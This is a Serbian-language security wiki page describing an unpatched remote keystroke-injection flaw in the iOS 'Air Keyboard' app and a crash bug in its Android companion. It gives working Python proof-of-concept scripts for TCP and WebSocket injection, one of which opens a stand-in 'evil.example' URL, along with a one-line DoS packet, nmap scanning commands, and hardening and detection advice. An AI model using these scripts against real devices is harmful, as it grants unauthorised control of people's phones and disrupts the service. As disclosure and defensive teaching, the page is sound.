# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener) {{#include ../../banners/hacktricks-training.md}} ## TL;DR iOS verzija komercijalne **“Air Keyboard”** aplikacije (App Store ID 6463187929) izlaže lokalnu mrežnu uslugu koja **prihvata okvire pritisaka tastera bez ikakve autentifikacije ili provere porekla**. U zavisnosti od instalirane verzije, usluga je ili: * **≤ 1.0.4** – sirovi TCP slušalac na **portu 8888** koji očekuje 2-bajtni zaglavlje dužine praćeno *device-id* i ASCII payload-om. * **≥ 1.0.5 (jun 2025)** – **WebSocket** slušalac na *istom* portu (**8888**) koji analizira **JSON** ključeve kao što su `{"type":1,"text":"…"}`. Svaki uređaj na istoj Wi-Fi / podmreži može **ubaciti proizvoljni unos sa tastature u telefon žrtve, postignuvši potpunu daljinsku interakciju**. Prateća Android verzija sluša na **portu 55535**. Izvodi slabu AES-ECB razmenu ključeva, ali kreirani šum i dalje uzrokuje **neobrađenu izuzetak unutar OpenSSL**, rušeći pozadinsku uslugu (**DoS**). > Ranljivost je **i dalje neispravljena u trenutku pisanja (jul 2025)** i aplikacija ostaje dostupna u App Store-u. --- ## 1. Otkriće usluge Skenirajte lokalnu mrežu i potražite dva fiksna porta koja koriste aplikacije: ```bash # iOS (unauthenticated input-injection) nmap -p 8888 --open 192.168.1.0/24 # Android (weakly-authenticated service) nmap -p 55535 --open 192.168.1.0/24 ``` Na Android uređajima možete lokalno identifikovati odgovarajući paket: ```bash adb shell netstat -tulpn | grep 55535 # no root required on emulator # rooted device / Termux netstat -tulpn | grep LISTEN ls -l /proc//cmdline # map PID → package name ``` Na **jailbroken iOS** možete uraditi nešto slično sa `lsof -i -nP | grep LISTEN | grep 8888`. --- ## 2. Detalji protokola (iOS) ### 2.1 Nasleđe (≤ 1.0.4) – prilagođeni binarni okviri ``` [length (2 bytes little-endian)] [device_id (1 byte)] [payload ASCII keystrokes] ``` Deklarisana *dužina* uključuje `device_id` bajt **ali ne** i sam dvo-bajtni header. ### 2.2 Trenutna (≥ 1.0.5) – JSON preko WebSocket-a Verzija 1.0.5 tiho je migrirala na WebSocket-e dok je zadržala nepromenjen broj porta. Minimalni unos tastera izgleda ovako: ```json { "type": 1, // 1 = insert text, 2 = special key "text": "open -a Calculator\n", "mode": 0, "shiftKey": false, "selectionStart": 0, "selectionEnd": 0 } ``` Nema potrebe za rukovanjem, tokenom ili potpisom – prvi JSON objekat već pokreće UI događaj. --- ## 3. Eksploatacija PoC ### 3.1 Ciljanje ≤ 1.0.4 (raw TCP) ```python #!/usr/bin/env python3 """Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)""" import socket, sys target_ip = sys.argv[1] # e.g. 192.168.1.50 keystrokes = b"open -a Calculator\n" # payload visible to the user frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8]) frame += b"\x01" # device_id = 1 (hard-coded) frame += keystrokes with socket.create_connection((target_ip, 8888)) as s: s.sendall(frame) print("[+] Injected", keystrokes) ``` ### 3.2 Ciljanje ≥ 1.0.5 (WebSocket) ```python #!/usr/bin/env python3 """Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)""" import json, sys, websocket # `pip install websocket-client` target_ip = sys.argv[1] ws = websocket.create_connection(f"ws://{target_ip}:8888") ws.send(json.dumps({ "type": 1, "text": "https://evil.example\n", "mode": 0, "shiftKey": False, "selectionStart": 0, "selectionEnd": 0 })) ws.close() print("[+] URL opened on target browser") ``` *Svaki štampajući ASCII — uključujući prelaze u novi red, tabove i većinu specijalnih tastera — može biti poslat, dajući napadaču istu moć kao fizički unos korisnika: pokretanje aplikacija, slanje IM-ova, otvaranje zlonamernih URL-ova, prebacivanje podešavanja, itd.* --- ## 4. Android Companion – Odbijanje usluge Android port (55535) očekuje **4-znamenkastu lozinku enkriptovanu sa hard-kodiranim AES-128-ECB ključem** praćenom nasumičnim nonce-om. Greške u parsiranju se prenose na `AES_decrypt()` i nisu uhvaćene, što dovodi do prekida niti slušatelja. Jedan malformirani paket je stoga dovoljan da drži legitimne korisnike isključenim dok se proces ponovo ne pokrene. ```python import socket socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS ``` --- ## 5. Povezane Aplikacije – Ponavljajući Anti-Obrazac Air Keyboard **nije izolovan slučaj**. Druge mobilne “daljinske tastature/misevi” imaju istu manu: * **Telepad ≤ 1.0.7** – CVE-2022-45477/78 omogućava neautentifikovanu izvršavanje komandi i logovanje tastera u običnom tekstu. * **PC Keyboard ≤ 30** – CVE-2022-45479/80 neautentifikovana RCE & prisluškivanje saobraćaja. * **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 podrazumevano-bez-lozinke, slaba PIN brute-force i curenje u običnom tekstu. Ovi slučajevi ističu sistematsko zanemarivanje **napadačkih površina koje su okrenute mreži na mobilnim aplikacijama**. --- ## 6. Osnovni Uzroci 1. **Nema provere porekla / integriteta** na dolaznim okvirima (iOS). 2. **Kryptografska zloupotreba** (stat ključ, ECB, nedostatak provere dužine) i **nedostatak obrade izuzetaka** (Android). 3. **Korisnički dodeljena Local-Network prava ≠ sigurnost** – iOS zahteva saglasnost u toku rada za LAN saobraćaj, ali to ne zamenjuje pravilnu autentifikaciju. --- ## 7. Ojačavanje & Odbrambene Mere Preporuke za programere: * Povežite slušalac na **`127.0.0.1`** i tunelujte preko **mTLS** ili **Noise XX** ako je potrebna daljinska kontrola. * Izvedite **tajne po uređaju tokom onboardinga** (npr. QR kod ili PIN za uparivanje) i primenite *uzajamnu* autentifikaciju pre obrade unosa. * Usvojite **Apple Network Framework** sa *NWListener* + TLS umesto sirovih soketa. * Implementirajte **provere dužine** i strukturiranu obradu izuzetaka prilikom dekriptovanja ili dekodiranja okvira. Brzi dobitci za Blue-/Red-Team: * **Mrežno lovljenje:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` ili Wireshark filter `tcp.port == 8888`. * **Inspekcija u toku rada:** Frida skripta koja hvata `socket()`/`NWConnection` da bi se prikazali neočekivani slušatelji. * **iOS Izveštaj o Privatnosti Aplikacija (Podešavanja ▸ Privatnost & Bezbednost ▸ Izveštaj o Privatnosti Aplikacija)** ističe aplikacije koje kontaktiraju LAN adrese – korisno za uočavanje zlonamernih usluga. * **Mobilni EDR-ovi** mogu dodati jednostavna Yara-L pravila za JSON ključeve `"selectionStart"`, `"selectionEnd"` unutar običnog TCP tereta na portu 8888. --- ## Detekcija Cheat-Sheet (Pentesteri) ```bash # Locate vulnerable devices in a /24 and print IP + list of open risky ports nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \ | awk '/Ports/{print $2 " " $4}' # Inspect running sockets on a connected Android target adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \ echo -n \"$p → \"; cat /proc/$p/cmdline; done" ``` --- ## Reference - [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333) - [Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) {{#include ../../banners/hacktricks-training.md}}